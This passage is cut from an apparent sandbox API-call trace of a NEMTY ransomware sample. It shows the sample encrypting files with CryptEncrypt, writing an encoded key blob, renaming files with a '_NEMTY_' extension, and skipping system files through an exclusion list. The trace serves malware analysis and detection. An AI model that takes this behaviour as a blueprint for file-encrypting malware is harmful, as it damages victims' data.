hTemplateFile=0x0) returned 0xffffffff [0156.810] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0156.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0156.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.810] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.819] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.819] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.828] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.828] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.838] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.838] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.847] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.847] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.856] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.856] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.866] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.866] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.886] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.886] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.895] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.895] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.904] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.904] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.905] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.910] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.910] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0156.916] CloseHandle (hObject=0xffffffff) returned 0 [0156.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0156.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0156.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0156.917] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0156.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0156.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0156.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0156.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0156.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0156.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0156.917] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\41.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\41.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\41.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\41.png._nemty_kgobjgd_")) returned 0 [0156.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0156.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0156.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0156.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0156.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0156.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0156.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0156.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0156.917] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b54ebb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b54ebb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae6f707, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="42.png", cAlternateFileName="")) returned 1 [0156.917] lstrcmpiW (lpString1="42.png", lpString2=".") returned 1 [0156.917] lstrcmpiW (lpString1="42.png", lpString2="..") returned 1 [0156.917] lstrcmpiW (lpString1="42.png", lpString2="...") returned 1 [0156.917] lstrcmpiW (lpString1="42.png", lpString2="windows") returned -1 [0156.917] lstrcmpiW (lpString1="42.png", lpString2="$RECYCLE.BIN") returned 1 [0156.917] lstrcmpiW (lpString1="42.png", lpString2="rsa") returned -1 [0156.917] lstrcmpiW (lpString1="42.png", lpString2="NTDETECT.COM") returned -1 [0156.917] lstrcmpiW (lpString1="42.png", lpString2="ntldr") returned -1 [0156.917] lstrcmpiW (lpString1="42.png", lpString2="MSDOS.SYS") returned -1 [0156.917] lstrcmpiW (lpString1="42.png", lpString2="IO.SYS") returned -1 [0156.917] lstrcmpiW (lpString1="42.png", lpString2="boot.ini") returned -1 [0156.917] lstrcmpiW (lpString1="42.png", lpString2="boot.ini") returned -1 [0156.918] lstrcmpiW (lpString1="42.png", lpString2="AUTOEXEC.BAT") returned -1 [0156.918] lstrcmpiW (lpString1="42.png", lpString2="ntuser.dat") returned -1 [0156.918] lstrcmpiW (lpString1="42.png", lpString2="desktop.ini") returned -1 [0156.918] lstrcmpiW (lpString1="42.png", lpString2="CONFIG.SYS") returned -1 [0156.918] lstrcmpiW (lpString1="42.png", lpString2="RECYCLER") returned -1 [0156.918] lstrcmpiW (lpString1="42.png", lpString2="BOOTSECT.BAK") returned -1 [0156.918] lstrcmpiW (lpString1="42.png", lpString2="bootmgr") returned -1 [0156.918] lstrcmpiW (lpString1="42.png", lpString2="programdata") returned -1 [0156.918] lstrcmpiW (lpString1="42.png", lpString2="appdata") returned -1 [0156.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="42.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="42.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="42.png", lpUsedDefaultChar=0x0) returned 6 [0156.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="42.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="42.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="42.png", lpUsedDefaultChar=0x0) returned 6 [0156.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="42.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="42.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="42.png", lpUsedDefaultChar=0x0) returned 6 [0156.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="42.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="42.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="42.png", lpUsedDefaultChar=0x0) returned 6 [0156.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0156.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0156.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0156.918] Sleep (dwMilliseconds=0x5) [0156.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x112fcd30, dwHighDateTime=0x1d561e8)) [0156.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x112fcd30, dwHighDateTime=0x1d561e8)) [0156.934] GetLastError () returned 0x5 [0156.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0156.934] GetLastError () returned 0x5 [0156.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0156.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0156.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0156.934] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0156.934] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0156.934] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0156.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0156.934] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="DwPuwfk1967l9oNPl/yuJACU3oDITIQ+icHxptxCrP4uRui9tW5I69RRAIjcbgBo\r\n2hRQhQ2e86J6tSw2CpyldgW2OsDklosddDZwAEXleDDCuYt2CPWnCz03fn9PTYQ8\r\nNcV2Ig7U5jJesbjqOZxeruQDpGJG+WFx5mT6uk/pUZYqJFPTNMll8CubegXUkucq\r\nff52Ijo9/FcaPmQ1QKuHtNmB6KLmy7NG5Sj06TcacoPp3Rvc7HiZq+DF0ANWWvCg\r\n5CVCEGuIRAMfjovRsSyOZR14VtoEBgPv4P45ZJVhE0ElkmmoTEhgMnVy6itQMXec\r\n29EExdvoWbY6mGS+GYCLHw==\r\n", pcchString=0x653e91c) returned 1 [0156.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0156.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0156.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0156.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0156.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0156.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0156.934] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\42.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\42.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0156.935] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0156.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0156.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.935] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.944] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.954] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.954] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.963] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.963] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.972] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.972] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.972] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.972] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.981] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.981] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, 